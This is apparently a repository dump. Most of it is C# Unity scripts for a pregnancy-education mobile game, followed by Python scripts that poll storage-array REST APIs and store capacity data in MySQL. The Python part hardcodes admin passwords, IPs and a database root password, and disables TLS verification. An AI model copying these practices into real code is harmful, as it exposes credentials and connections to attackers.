runAnimationAlwaysEnabled; // Internal variables private Rigidbody2D _rb; private Animator _animator; private static readonly int IsRunning = Animator.StringToHash("IsRunning"); private static readonly int IsJumping = Animator.StringToHash("isJumping"); private void Start() { _rb = GetComponent<Rigidbody2D>(); _animator = GetComponent<Animator>(); // Swap character skin if set if (PlayerPrefs.HasKey("Character")) Swap(PlayerPrefs. GetString("Character")); } private void FixedUpdate() { if (runEnabled) Run(); else _animator.SetBool(IsRunning, runAnimationAlwaysEnabled); if (jumpEnabled) Jump(); } private void Run() { // Initially, do not set it to running _animator.SetBool(IsRunning, false); // Check for horizontal input var inputX = centerMode ? GetHorizontalAxisFromCenter() : Input.GetAxis("Horizontal"); // Check first if the object should transform if (inputX == 0) return; // Cached data (faster, 'allegedly') var localScale = transform.localScale; // Check direction and save data // Flip the object based on what direction the input is localScale.x = Mathf.Sign(inputX) * Mathf.Abs(localScale.x); transform.localScale = localScale; _animator.SetBool(IsRunning, true); // Move the object transform.position += (inputX > 0 ? Vector3.right : Vector3.left) * (speed * Time.deltaTime); } private void Jump() { // If didn't jump, or is jumping, skip if (_animator.GetBool(IsJumping)) return; if (!Input.GetButton("Jump") && Input.touchCount != 1) return; isJumping = true; _animator.SetBool(IsJumping, true); var jumpVelocity = new Vector2(0, jumpForce); _rb.velocity = Vector2.zero; _rb.AddForce(jumpVelocity, ForceMode2D.Impulse); } private void OnCollisionEnter2D() { _animator.SetBool(IsJumping, false); isJumping = false; } public void Swap(string characterName) { foreach (Transform child in transform) { var resolver = child.GetComponent <UnityEngine.U2D.Animation.SpriteResolver>(); if (resolver == null) continue; resolver.SetCategoryAndLabel( child.name, characterName); } } } } <file_sep>/Assets/Menu/Scripts/CharacterArea.cs using Common.Scripts; using Michsky.UI.ModernUIPack; using TMPro; using UnityEngine; namespace Menu.Scripts { public class CharacterArea : MonoBehaviour { private TMP_InputField _input; private HorizontalSelector _selector; private Character _character; private void Start() { _input = GetComponentInChildren <TMP_InputField>(true); _selector = GetComponentInChildren <HorizontalSelector>(true); _character = GetComponentInChildren <Character>(true); // Set data to components based on PlayerPrefs _input.text = PlayerPrefs.HasKey("Name") ? PlayerPrefs.GetString("Name") : ""; _input.onEndEdit.AddListener(SetName); if (PlayerPrefs.HasKey("Character")) { var characterName = PlayerPrefs .GetString("Character"); // Find character in _selector list foreach (var item in _selector.itemList) if (item.itemTitle == characterName) _selector.index = _selector.itemList.IndexOf(item); _selector.UpdateUI(); // Swap the character's skin _character.Swap(characterName); } } public void SetName(string newName) { PlayerPrefs.SetString("Name", newName); } public void SetCharacter(string newCharacter) { PlayerPrefs.SetString("Character", newCharacter); _character.Swap(newCharacter); } } } <file_sep>/Assets/Common/Scripts/UI/PauseUI.cs using UnityEngine; using UnityEngine.UI; namespace Common.Scripts.UI { public class PauseUI : MonoBehaviour { [Header("Components")] public Button resume; public Button retry; public Button quit; private void Start() { var manager = FindObjectOfType<Manager>(); // Set up button listeners resume.onClick.AddListener(delegate { manager.SetPause(false); }); retry.onClick.AddListener(delegate { manager.Retry(); }); quit.onClick.AddListener(delegate { manager.Quit(); }); } } } <file_sep>/Assets/Balance/Scripts/BalanceSpawner.cs using Spawning.Scripts; namespace Balance.Scripts { public class BalanceSpawner : Spawner { protected override void Start() { base.Start(); // Spawn all items at once foreach (var item in items) Spawn(item); } } } <file_sep>/Assets/Spawning/Scripts/Spawner.cs using System.Collections.Generic; using System.Linq; using UnityEngine; namespace Spawning.Scripts { public class Spawner : MonoBehaviour { public List<SpawnItem> items; public List<Spawnable> spawned; public GameObject spawnablePrefab; public float chanceOfSpawningBad = 0.5f; // Get required components private Rect _spawnArea; protected virtual void Start() { _spawnArea = GetComponent<RectTransform>().rect; } protected void Clear() { if (spawned.Count == 0) return; // Clear all spawned objects foreach (var spawnable in spawned) { Destroy(spawnable.gameObject); } spawned.Clear(); } protected SpawnItem GetRandomItem() { var chance = Random.Range(0f, 1f); var type = chance < chanceOfSpawningBad ? SpawnType.Bad : SpawnType.Good; return GetRandomItemOfType(type); } protected SpawnItem GetRandomItemOfType(SpawnType type) { var array = items.Where( i => i.type == type).ToArray(); return array[Random.Range(0, array.Length)]; } protected Spawnable Spawn() { return Spawn(GetRandomItem()); } protected Spawnable Spawn(SpawnItem item, Vector3 position) { // Instantiate the object var obj = Instantiate( spawnablePrefab, position, Quaternion.identity); var spawnable = obj.GetComponent<Spawnable>(); spawnable.Set(item); spawned.Add(spawnable); return spawnable; } protected Spawnable Spawn(SpawnItem item) { // First, generate the position randomly var position = new Vector3( Random.Range(_spawnArea.xMin, _spawnArea.xMax), Random.Range(_spawnArea.yMin, _spawnArea.yMax)); position += transform.position; return Spawn(item, position); } } } <file_sep>/Assets/Parents/Scripts/ParentSpawner.cs using System.Collections.Generic; using System.Linq; using Common.Scripts; using Michsky.UI.ModernUIPack; using Spawning.Scripts; using UnityEngine; using Random = UnityEngine.Random; namespace Parents.Scripts { public class ParentSpawner : MonoBehaviour { public GameObject buttonPrefab; public List<Transform> anchors; public List<ParentItem> items; public List<ParentItem> spawned; public List<GameObject> objects; private Manager _manager; private void Start() { _manager = FindObjectOfType<Manager>(); } public void Spawn() { spawned.Clear(); var goodPosition = Random.Range( 0, anchors.Count); for (var i = 0; i < anchors.Count; i++) { var anchor = anchors[i]; var type = i == goodPosition ? SpawnType.Good : SpawnType.Bad; var array = items.Where( j => j.type == type).ToArray(); ParentItem item; do { item = array[Random.Range(0, array.Length)]; } while (spawned.Contains(item)); var obj = Instantiate( buttonPrefab, anchor); objects.Add(obj); var button = obj.GetComponent<ButtonManager>(); button.buttonText = item.text; button.clickEvent.AddListener(delegate { if (type == SpawnType.Good) { _manager.score += 10; } else { _manager.lives--; _manager.hud.SetMessage( "Click only what's good for you!"); _manager.SetPause(true, false); } foreach (var o in objects) Destroy(o); objects.Clear(); Spawn(); }); } } } } <file_sep>/Assets/Spawning/Scripts/SpawnItem.cs using UnityEngine; namespace Spawning.Scripts { [CreateAssetMenu( fileName = "spawn", menuName = "Spawn Item", order = 0)] public class SpawnItem : ScriptableObject { public Sprite sprite; public SpawnType type; } public enum SpawnType { Good, Bad } } <file_sep>/Assets/Menu/Scripts/StageArea.cs using Michsky.UI.ModernUIPack; using UnityEngine; namespace Menu.Scripts { public class StageArea : MonoBehaviour { // To be set in the Inspector public GameObject buttonPrefab; public TipArea tipArea; public TextAsset stagesJson; // JSON data here (title and scene path) private Stage[] _stages; private Loader _loader; private void Start() { // Initialize the stage data _stages = Stage.Serialize(stagesJson.text); _loader = FindObjectOfType<Loader>(); // Populate StageArea object for (var i = 0; i < _stages.Length; i++) { var stage = _stages[i]; var b = Instantiate( buttonPrefab, transform); // Setup instantiated button var manager = b.GetComponent<ButtonManager>(); manager.buttonText = stage.title; var i1 = i; manager.clickEvent.AddListener( delegate { _loader.StartLoader(stage.scene); tipArea.SetTip(i1); } ); } } } } <file_sep>/Assets/Run/Scripts/Scroller.cs using UnityEngine; namespace Run.Scripts { public class Scroller : MonoBehaviour { public float speed = 1f; private float _length; private Vector2 _initial; private void Start() { _initial = transform.position; _length = GetComponent<SpriteRenderer>() .bounds.size.x; } private void Update() { var distance = Mathf.Repeat( Time.time * speed, _length); transform.position = _initial + Vector2.left * distance; } } } <file_sep>/Assets/Menu/Scripts/MenuManager.cs using UnityEngine; using UnityEngine.Serialization; namespace Menu.Scripts { public class MenuManager : MonoBehaviour { private static bool _isQuizShowed; public GameObject menu; [FormerlySerializedAs("survey")] public GameObject quiz; private void Update() { if (!_isQuizShowed) { menu.SetActive(false); quiz.SetActive(true); _isQuizShowed = true; } } public void Quit() { Application.Quit(); } } } <file_sep>/Assets/Maze/Scripts/Follow.cs using System.Diagnostics.CodeAnalysis; using UnityEngine; namespace Maze.Scripts { public class Follow : MonoBehaviour { public Path path; public float followSpeed = 3f; public int followOnCount; private Vector2 _initial; private int _index; private void Start() { _initial = transform.position; } private void FixedUpdate() { Move(); } [SuppressMessage("ReSharper", "Unity.InefficientPropertyAccess")] private void Move() { var count = path.list.Count; if (count <= 1) { Reset(); return; } if (_index >= count) return; if (count < followOnCount) return; transform.position = Vector2.MoveTowards( transform.position, path.list[_index], followSpeed * Time.fixedDeltaTime); var distance = Vector2.Distance( transform.position, path.list[_index]); if (distance < 0.01) _index++; } private void Reset() { transform.position = _initial; _index = 0; } } } <file_sep>/Assets/Destroy/Scripts/DestroyItem.cs using Spawning.Scripts; namespace Destroy.Scripts { public class DestroyItem : Spawnable { } } <file_sep>/Assets/Menu/Scripts/TipArea.cs using TMPro; using UnityEngine; using Random = UnityEngine.Random; namespace Menu.Scripts { public class TipArea : MonoBehaviour { public TextAsset tipsJson; private Tip[] _tips; public TextMeshProUGUI header; public TextMeshProUGUI title; public TextMeshProUGUI content; private bool _setTipOnFirstFrame; private int _cachedIndex; private void Start() { _tips = Tip.Serialize(tipsJson.text); } private void Update() { if (_setTipOnFirstFrame) { SetTip(_cachedIndex); _setTipOnFirstFrame = false; } } public void SetTip(int index) { if (_tips == null && !_setTipOnFirstFrame) { _setTipOnFirstFrame = true; _cachedIndex = index; return; } var headerText = _tips[index].trimester switch { 1 => "FIRST TRIMESTER", 2 => "SECOND TRIMESTER", 3 => "THIRD TRIMESTER", _ => "" }; header.text = headerText; title.text = _tips[index].title; content.text = _tips[index].content; } public void SetTip() { var index = Random.Range( 0, _tips.Length); SetTip(index); } } } <file_sep>/Assets/Destroy/Scripts/DestroySpawner.cs using System.Collections.Generic; using Spawning.Scripts; using UnityEngine; namespace Destroy.Scripts { public class DestroySpawner : Spawner { public List<Transform> anchors; protected override void Start() { Respawn(); } public void Respawn() { Clear(); // Randomize the position of the bad one var badPosition = Random.Range( 0, anchors.Count); for (var i = 0; i < anchors.Count; i++) { var type = i == badPosition ? SpawnType.Bad : SpawnType.Good; Spawn(GetRandomItemOfType(type), anchors[i].position); } } } } <file_sep>/Assets/Spawning/Scripts/Spawnable.cs using UnityEngine; namespace Spawning.Scripts { public class Spawnable : MonoBehaviour { // Can only be accessed with Set public SpawnItem item; public void Set(SpawnItem i) { GetComponent<SpriteRenderer>() .sprite = i.sprite; item = i; } } } <file_sep>/Assets/Run/Scripts/Crate.cs using Common.Scripts; using UnityEngine; using Random = UnityEngine.Random; using Vector2 = UnityEngine.Vector2; namespace Run.Scripts { public class Crate : MonoBehaviour { public float speed = 0.5f; public float minimumX = -5; public float respawnMinX = 5f; public float respawnMaxX = 15f; private Rigidbody2D _rb; private Rigidbody2D _other; private Manager _manager; private bool _isMoving; private void Start() { _manager = FindObjectOfType<Manager>(); _rb = GetComponent<Rigidbody2D>(); } private void FixedUpdate() { if (_manager.isGameRunning) { if (!_isMoving) { _rb.velocity = Vector2.left * (speed * Time.time); _isMoving = true; if (_other != null) { var oldCharPos = _other.position; _other.position = new Vector2(0, oldCharPos.y); } } else _rb.velocity = _rb.velocity.normalized * speed; } else { _rb.velocity = Vector2.zero; if (_other != null) _other.velocity = Vector2.zero; } if (_rb.position.x < minimumX) { Respawn(); _manager.score ++; } } private void Respawn() { _rb.position = new Vector2( Random.Range(respawnMinX, respawnMaxX), _rb.position.y); } private void OnCollisionEnter2D(Collision2D other) { if (other.gameObject.CompareTag("Player")) { Respawn(); _isMoving = false; _other = other.rigidbody; _manager.lives--; _manager.SetPause(true, false); } } } } <file_sep>/Assets/Balance/Scripts/Balancer.cs using Common.Scripts; using Spawning.Scripts; using UnityEngine; namespace Balance.Scripts { public class Balancer : MonoBehaviour { public Spawner spawner; public Transform platform; public Container good; public Container bad; private Manager _manager; private void Start() { _manager = FindObjectOfType<Manager>(); } private void Update() { Tilt(); Check(); } private void Tilt() { var rotation = Vector3.zero; if (good.Count() < bad.Count()) rotation = new Vector3(0, 0, -2f); else if (good.Count() > bad.Count()) rotation = new Vector3(0, 0, 2f); else rotation = Vector3.zero; platform.rotation = Quaternion.Euler(rotation); } private void Check() { if (Input.GetMouseButton(0)) return; var total = good.Count() + bad.Count(); if (spawner.items.Count == total) _manager.Finish(); } } } <file_sep>/Assets/Catch/Scripts/CatchSpawner.cs using Common.Scripts; using Spawning.Scripts; namespace Catch.Scripts { public class CatchSpawner : Spawner { private Manager _manager; private bool _spawning; protected override void Start() { base.Start(); // Implement manager here _manager = FindObjectOfType<Manager>(); } private void Update() { if (_manager.isGameRunning && !_spawning) { InvokeRepeating(nameof(Spawn), 1, 1); _spawning = true; } } } } <file_sep>/Assets/Match/Scripts/MatchSpawner.cs using System.Collections; using System.Collections.Generic; using System.Linq; using Spawning.Scripts; using UnityEngine; using Random = UnityEngine.Random; namespace Match.Scripts { public class MatchSpawner : Spawner { public List<Transform> anchors; public bool respawn; public bool hidden; public float hideTime = 1f; private int _pos1; private int _pos2; protected override void Start() { // All good in the hood chanceOfSpawningBad = 0f; // Start spawning respawn = true; } private void Update() { // if should respawn if (respawn) { Clear(); _pos1 = Random.Range( 0, anchors.Count); _pos2 = Random.Range( 0, anchors.Count); if (_pos1 == _pos2) return; // Generate the item to match var matchingItem = GetRandomItem(); // Spawn an item for every anchor for (var i = 0; i < anchors.Count; i++) { var t = anchors[i]; SpawnItem item; do { item = GetRandomItem(); } while (item == matchingItem || spawned.Select(x => x.item).Contains(item)); if (i == _pos1 || i == _pos2) Spawn(matchingItem, t.position); else Spawn(item, t.position); } respawn = false; } } public void Respawn() { respawn = true; } public void StartHide() { Invoke(nameof(HideAll), hideTime); } private void HideAll() { hidden = true; foreach (var matchItem in spawned.Cast<MatchItem>()) matchItem.StartFlip(); } } } <file_sep>/Assets/Common/Scripts/Utilities/Controls.cs using UnityEngine; namespace Common.Scripts.Utilities { public static class Controls { /** Get the percentage of a point * from the center of the screen. * NOTE: Falls back to default keybinding if * touch is not present. */ public static float GetHorizontalAxisFromCenter() { var result = Input.GetAxis("Horizontal"); if (Input.touchCount == 1) { var touch = Input.GetTouch(0); if (touch.phase != TouchPhase.Stationary) return 0f; // inputX will be the percentage // on how close touchX is to the center var touchX = (touch.position.x > (Screen.width / 2f)) ? touch.position.x - Screen.width / 2f : touch.position.x * -1; result = touchX / (Screen.width / 2f); } return result; } } } <file_sep>/Assets/Menu/Scripts/GameOver.cs using Common.Scripts; using Michsky.UI.ModernUIPack; using TMPro; using UnityEngine; using UnityEngine.SceneManagement; namespace Menu.Scripts { public class GameOver : MonoBehaviour { private Manager _manager; private Rating _rating; private TextMeshProUGUI _score; public ButtonManager quit; private string _finalScene = "Run"; private void Start() { // Get manager from previous scene _manager = FindObjectOfType<Manager>(); // Initialize UI components _rating = FindObjectOfType<Rating>(); _score = GameObject.Find("Score Text") .GetComponent<TextMeshProUGUI>(); // Set data for UI components _score.text = (_manager != null) ? _manager.score.ToString() : "0000"; _rating.SetRating((_manager != null) ? _manager.GetRating() : 0); // Set quit button text if (_manager.scene == _finalScene) quit.buttonText = "SHOW RESULTS"; } public void Retry() { // If manager is not null // use it to retry else do nothing if (_manager != null) _manager.Retry(); } public void Quit() { // If manager is not null // Use it to quit else quit manually if (_manager != null) { if (_manager.scene == _finalScene) SceneManager.LoadScene("Results"); else _manager.Quit(); } } } } <file_sep>/Assets/Match/Scripts/MatchClicker.cs using System.Collections; using System.Collections.Generic; using System.Linq; using Common.Scripts; using UnityEngine; using UnityEngine.Events; namespace Match.Scripts { public class MatchClicker : MonoBehaviour { private Camera _camera; private MatchSpawner _spawner; private Manager _manager; public UnityEvent onClicked; public List<MatchItem> clicked; private void Start() { _camera = Camera.main; _spawner = GetComponent<MatchSpawner>(); _manager = FindObjectOfType<Manager>(); } private void Update() { if (_manager.isGameRunning && _spawner.hidden) Click(); if (clicked.Count == 2) { if (clicked.All(x => !x.isBackActive)) { Debug.Log("Not ready"); return; } // Get first item var item = clicked[0].item; var isMatching = clicked.All(x => x.item == item); if (isMatching) _manager.score += 50; else _manager.lives--; clicked.Clear(); StartCoroutine(OnClickInvoke()); } } private void Click() { var isTouching = Input.touchCount == 1; var isClicking = Input.GetMouseButtonDown(0); if (!isTouching && !isClicking) return; if (clicked.Count >= 2) return; // Get the position of the click Vector2 position; if (isTouching) { var touch = Input.GetTouch(0); // Check if moving if (touch.phase == TouchPhase.Began) position = touch.position; else return; } else { position = Input.mousePosition; } // Convert to world point position = _camera.ScreenToWorldPoint(position); // Check for hits using raycast var hit = Physics2D.Raycast(position, _camera.transform.forward); // Exit if no collider and rigidbody present if (hit.collider == null || hit.rigidbody == null) return; // Exit if hit is not a spawnable object if (!hit.collider.CompareTag("Spawnable")) return; // Check type of clicked item var spawnable = hit.rigidbody.gameObject .GetComponent<MatchItem>(); Debug.Log(spawnable.item); // Start flipping animation spawnable.StartFlip(); clicked.Add(spawnable); } private IEnumerator OnClickInvoke() { yield return new WaitForSeconds(1f); onClicked?.Invoke(); } } } <file_sep>/Assets/Parents/Scripts/ParentItem.cs using System; using Spawning.Scripts; namespace Parents.Scripts { [Serializable] public class ParentItem { public string text; public SpawnType type; } } <file_sep>/Assets/Maze/Scripts/Maze.cs using System.Collections; using System.Collections.Generic; using System.Diagnostics.CodeAnalysis; using UnityEngine; using UnityEngine.Serialization; using Random = UnityEngine.Random; namespace Maze.Scripts { public class Maze : MonoBehaviour { public enum Difficulty { Easy, Medium, Hard } [Header("Maze Settings")] public Color colorNormal = Color.white; public Color colorError = Color.red; public Color colorFinished = Color.green; public float regenerateDelay = 1f; [FormerlySerializedAs("easy")] [Header("Maze List")] public List<Sprite> list; // Maze history // History does not repeat itself private readonly List<Sprite> _done = new List<Sprite>(); // Required Components private SpriteRenderer _renderer; private Collider2D _collider; private void Start() { _renderer = GetComponent <SpriteRenderer>(); Generate(); } // Suppress expensive null check // since it's only being checked at Start // ReSharper disable Unity.PerformanceAnalysis private void Generate() { // Get a random item from list Sprite sprite = null; while (sprite == null || _done.Contains(sprite)) { sprite = list[Random.Range(0, list.Count)]; // Repeat mazes when isa na lang if (_done.Count == list.Count - 1) _done.Clear(); } // Use generated sprite _renderer.sprite = sprite; _done.Add(sprite); // Remove old collider if (_collider != null) Destroy(_collider); // Re-add the polygon collider _collider = gameObject.AddComponent <PolygonCollider2D>(); } public void TriggerError() { StartCoroutine(OnError()); } public void TriggerFinished() { StartCoroutine(OnFinished()); } [SuppressMessage("ReSharper", "Unity.InefficientPropertyAccess")] private IEnumerator OnError() { _renderer.color = colorError; yield return new WaitForSeconds(regenerateDelay); _renderer.color = colorNormal; } [SuppressMessage("ReSharper", "Unity.InefficientPropertyAccess")] private IEnumerator OnFinished() { _renderer.color = colorFinished; yield return new WaitForSeconds(regenerateDelay); _renderer.color = colorNormal; // Regenerate maze Generate(); } } } <file_sep>/Assets/Menu/Scripts/QuestionArea.cs using TMPro; using UnityEngine; using UnityEngine.Events; using UnityEngine.UI; namespace Menu.Scripts { public class QuestionArea : MonoBehaviour { public enum Type { Survey, PreQuiz, PostQuiz } // To be set in the Inspector public Type type; public GameObject button; public TextAsset json; public UnityEvent onClick; public UnityEvent onDone; public string startMessage; public string endMessage; // Objects and components private TextMeshProUGUI _questionText; private GameObject _choicesArea; // Flow and data private int _correct; private int _index = -1; private Askable[] _items; private void Start() { // Initialize the survey askables _items = Askable.Serialize(json.text); // Save total items count PlayerPrefs.SetInt("Score_Total", _items.Length); // Find and initialize survey's objects _choicesArea = GameObject.Find("Choices Area"); _questionText = GameObject.Find("Question Text") .GetComponent<TextMeshProUGUI>(); // Setup start message _questionText.text = startMessage; // Show only one random question if (type == Type.Survey) { ShowItem(_items[Random.Range(0, _items.Length)]); } } public void Next() { // Kill all younglings anakin, all of them foreach (Transform child in _choicesArea.transform) Destroy(child.gameObject); // if index will go out of bounds clear choices and set text if (_index == _items.Length - 1 && type != Type.Survey) { // Show score and percentage in var percentage = (float) _correct / _items.Length * 100f; endMessage = endMessage + "\n\n" + "Score:\n" + _correct + "/" + _items.Length + " = " + percentage + "%"; _questionText.text = endMessage; onDone?.Invoke(); PlayerPrefs.SetInt("Score_" + type, _correct); PlayerPrefs.Save(); return; } // Increment to next index _index++; ShowItem(_items[_index]); } private void ShowItem(Askable item) { // Change question text _questionText.text = item.question; // Create the choices buttons for (var i = 0; i < item.choices.Count; i++) { var choice = item.choices[i]; // Instantiate button prefab var b = Instantiate( button, _choicesArea.transform); b.GetComponentInChildren< TextMeshProUGUI>().text = choice; var buttonClickedEvent = b.GetComponent <Button>().onClick; buttonClickedEvent.AddListener( onClick.Invoke); // Copy index to another variable var index = i; buttonClickedEvent.AddListener(delegate { if (item.answerIndex == index) _correct++; }); } } } } <file_sep>/Assets/Common/Scripts/UI/LivesUI.cs using UnityEngine; namespace Common.Scripts.UI { public class LivesUI : MonoBehaviour { public int count; public GameObject prefab; private GameObject[] _objects; private void Start() { SetCount(count); } public void SetCount(int value) { count = value; // Instantiate the prefab, then disable _objects = new GameObject[count]; for (var i = 0; i < count; i++) { _objects[i] = Instantiate( prefab, transform); } } public void SetRemaining(int value) { if (value >= count || value < 0) return; for (var i = 0; i < count; i++) { if (i < value) { if (!_objects[i].activeSelf) _objects[i].SetActive(true); } else _objects[i].SetActive(false); } } } } <file_sep>/Assets/Destroy/Scripts/DestroyClicker.cs using Common.Scripts; using Spawning.Scripts; using UnityEngine; using UnityEngine.Events; namespace Destroy.Scripts { public class DestroyClicker : MonoBehaviour { private Camera _camera; private Manager _manager; public UnityEvent onClicked; private void Start() { _camera = Camera.main; _manager = FindObjectOfType<Manager>(); } private void Update() { if (_manager.isGameRunning) Click(); } private void Click() { var isTouching = Input.touchCount == 1; var isClicking = Input.GetMouseButtonDown(0); if (!isTouching && !isClicking) return; // Get the position of the click Vector2 position; if (isTouching) { var touch = Input.GetTouch(0); // Check if moving if (touch.phase == TouchPhase.Began) position = touch.position; else return; } else { position = Input.mousePosition; } // Convert to world point position = _camera.ScreenToWorldPoint(position); // Check for hits using raycast var hit = Physics2D.Raycast(position, _camera.transform.forward); // Exit if no collider and rigidbody present if (hit.collider == null || hit.rigidbody == null) return; // Exit if hit is not a spawnable object if (!hit.collider.CompareTag("Spawnable")) return; // Check type of clicked item var spawnable = hit.rigidbody.gameObject .GetComponent<Spawnable>(); Debug.Log(spawnable.item.type); if (spawnable.item.type == SpawnType.Bad) { _manager.score += 10; Destroy(hit.rigidbody.gameObject); } else { _manager.lives--; _manager.hud.SetMessage( "Only destroy what's bad for you!"); _manager.SetPause(true, false); } onClicked.Invoke(); } } } <file_sep>/Assets/Menu/Scripts/Rating.cs using UnityEngine; namespace Menu.Scripts { public class Rating : MonoBehaviour { private Animator[] _stars; private static readonly int Fill = Animator.StringToHash("Fill"); private void Awake() { // Initialize image components (child) _stars = new Animator[transform.childCount]; for (var i = 0; i < transform.childCount; i++) { var child = transform.GetChild(i); _stars[i] = child.GetComponent<Animator>(); } } public void SetRating(int rating) { for (var i = 0; i < rating + 1; i++) { _stars[i].SetTrigger(Fill); } } } } <file_sep>/Assets/Menu/Scripts/ResultArea.cs using TMPro; using UnityEngine; using UnityEngine.SceneManagement; using static Menu.Scripts.QuestionArea.Type; using Random = UnityEngine.Random; namespace Menu.Scripts { public class ResultArea : MonoBehaviour { public TextAsset resultsJson; private Result[] _results; public TextMeshProUGUI title; public TextMeshProUGUI content; public TextMeshProUGUI statistics; private void Start() { _results = Result.Serialize( resultsJson.text); ShowResult(); } private void OnEnable() { if (_results != null) ShowResult(); } private void ShowResult() { var index = Random.Range( 0, _results.Length); title.text = _results[index].title; content.text = _results[index].content; } public void ShowStats() { // Show knowledge gain var preQuiz = PlayerPrefs.GetInt( "Score_" + PreQuiz, 0); var postQuiz = PlayerPrefs.GetInt( "Score_" + PostQuiz, 0); var total = PlayerPrefs.GetInt( "Score_Total", 0); var preQuizPercent = ((float) preQuiz / total) * 100f; var postQuizPercent = ((float) postQuiz / total) * 100f; var difference = postQuizPercent - preQuizPercent; statistics.text = "Pre-Quiz " + preQuiz + "/" + total + " = " + preQuizPercent + "%\n" + "Post-QUiz " + postQuiz + "/" + total + " = " + postQuizPercent + "%\n" + "Knowledge Gain " + (difference >= 0 ? "+" : "-") + difference + "%"; } public void Back() { SceneManager.LoadScene("Main Menu"); } } } <file_sep>/Assets/Breakout/Scripts/Paddle.cs using Common.Scripts; using UnityEngine; using static Common.Scripts.Utilities.Controls; namespace Breakout.Scripts { public class Paddle : MonoBehaviour { // Public members to be modified in the Inspector public float xMin = -2; public float xMax = 2; public float speed = 10; private Vector3 _initial; private Manager _manager; // Private members for components private Rigidbody2D _rb; private void Start() { _rb = GetComponent<Rigidbody2D>(); _manager = FindObjectOfType<Manager>(); _initial = transform.position; } private void FixedUpdate() { // Do not move paddle if game not started if (!_manager.isGameRunning) { transform.position = _initial; return; } // Move Paddle, A or D, Left or Right var inputX = GetHorizontalAxisFromCenter(); _rb.velocity = new Vector2(inputX * speed, 0f); _rb.position = new Vector2(Mathf.Clamp( _rb.position.x, xMin, xMax), -4f); } } }
959564ef45b507f8dc760bf7f71fef1ed1e9d4a2
[ "C#" ]
44
C#
liempo/preggy
326716eab311cd229bfeb99b933b481f6f8a6ddf
a495dfd0f299508eb665517256710b31a2ac03c7
refs/heads/master
<file_sep># -*- coding: utf-8 -*- from __future__ import unicode_literals from models import Server,Array,Lun from django.shortcuts import render from django.http import HttpResponse from django.template import RequestContext import requests import urllib, urllib2, json import cookielib import ssl import pymysql import sys,shelve import json def func(): list1=[] querys = (x for x in Array.objects.all()) for query in querys: print query try: func() finally: print "a"<file_sep># -*- coding:utf-8 -*- from __future__ import unicode_literals import time import requests import urllib, urllib2, json import cookielib import ssl import pymysql import json # Arrays_list = [['192.168.3.11', '2102350BVB10H8000046', 'admin', 'Admin@storage'], # ['172.16.58.3', '2102350HYS10H8000042', 'admin', 'Admin@storage'], # ['172.16.58.3', '2102350DJX10G8000002', 'admin', 'Admin@storage'], # ['192.168.127.12', '2102350BVB10F6000042', 'admin', 'Admin@storage'], # ['192.168.3.11', '2102350BVB10F6000041', 'admin', 'admin@Storage']] def obtain_his_info(): conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor = conn.cursor() cursor.execute( "select array_ip,array_id,array_user,array_password from myapp_array_admin") arrayinfos = cursor.fetchall() cursor.close() conn.close() Arrays_list = [] for query in arrayinfos: Arrays_list.append(query) # # Arrays_list = [['192.168.3.11', '2102350BVB10H8000046', 'admin', 'Admin@storage'], # ['172.16.58.3', '2102350HYS10H8000042', 'admin', 'Admin@storage'], # ['172.16.58.3', '2102350DJX10G8000002', 'admin', 'Admin@storage'], # ['192.168.127.12', '2102350BVB10F6000042', 'admin', 'Admin@storage'], # ['192.168.3.11', '2102350BVB10F6000041', 'admin', 'admin@Storage']] Arrays_group_dict = {} all_info = [] return Arrays_list def build_uri(urlinput, endpoint): return '='.join([urlinput, endpoint]) def func(array_ip, array_id, array_user, array_passwd): url_head = 'https://' + array_ip + ':8088/deviceManager/rest/' login_url = url_head + 'xxxxx/login' system_url = url_head + array_id + '/system/' fc_port_url = url_head + array_id + '/fc_initiator?PARENTID' lun_url = url_head + array_id + '/lun/associate?TYPE=11&ASSOCIATEOBJTYPE=21&ASSOCIATEOBJID' server_url = url_head + array_id + '/host?range=[0-100]' data = {'scope': 0, 'username': array_user, 'password': <PASSWORD>} user_agent = r'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko' context = ssl head = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest'} # data = {'scope': 0, 'username': 'admin', 'password': '<PASSWORD>'} cookie = cookielib.CookieJar() cookie_support = urllib2.HTTPCookieProcessor(cookie) opener = urllib2.build_opener(cookie_support) urllib2.install_opener(opener) server_list = ['', '', '', []] # 登陆并获取cookie中session信息,以备后用 # 循环开始前先置空cookie iBaseToken = '' session_info = '' req = requests.post(url=login_url, headers=head, json={"scope": 0, "username": array_user, "password": <PASSWORD>}, verify=False) print req.status_code session_info = requests.utils.dict_from_cookiejar(req.cookies)['session'] iBaseToken = json.loads(req.text)['data']['iBaseToken'] head2 = {'User-Agent': user_agent, 'Content-Type': 'application/json;charset=UTF-8', 'Cache-Control': 'max-age=0', 'If-Modified-Since': bytes(0), 'Accept': '*/*', 'X-Requested-With': 'XMLHttpRequest', 'iBaseToken': iBaseToken} cookies = dict(CSRF_IBASE_TOKEN=iBaseToken, DEVICE_ID=array_id, initLogin='true', session=session_info) # 获取盘机信息 req_main = requests.get(url=system_url, headers=head2, verify=False, cookies=cookies) main_info = json.loads(req_main.text)['data'] # 将盘机信息并写入数据库 Array_in_view = {} Array_in_view['array_id'] = array_id Array_in_view['array_ip'] = array_ip Array_in_view['array_name'] = main_info['NAME'] Array_in_view['location'] = main_info['LOCATION'] Array_in_view['patchVersion'] = main_info['patchVersion'] Array_in_view['TOTALCAPACITY'] = int(int(main_info['TOTALCAPACITY']) / 2097152) Array_in_view['FREEDISKSCAPACITY'] = int(int(main_info['FREEDISKSCAPACITY']) / 2097152) Array_in_view['STORAGEPOOLCAPACITY'] = int(int(main_info['STORAGEPOOLCAPACITY']) / 2097152) Array_in_view['STORAGEPOOLFREECAPACITY'] = int(int(main_info['STORAGEPOOLFREECAPACITY']) / 2097152) #获取时间戳 timenow = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime()) conn2 = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='<PASSWORD>', db='managedb', charset='utf8') cursor2 = conn2.cursor() cursor2.execute( "insert into myapp_array_history(array_id,array_ip,array_name,location,TOTALCAPACITY,FREEDISKSCAPACITY,STORAGEPOOLCAPACITY,STORAGEPOOLFREECAPACITY,DATE) 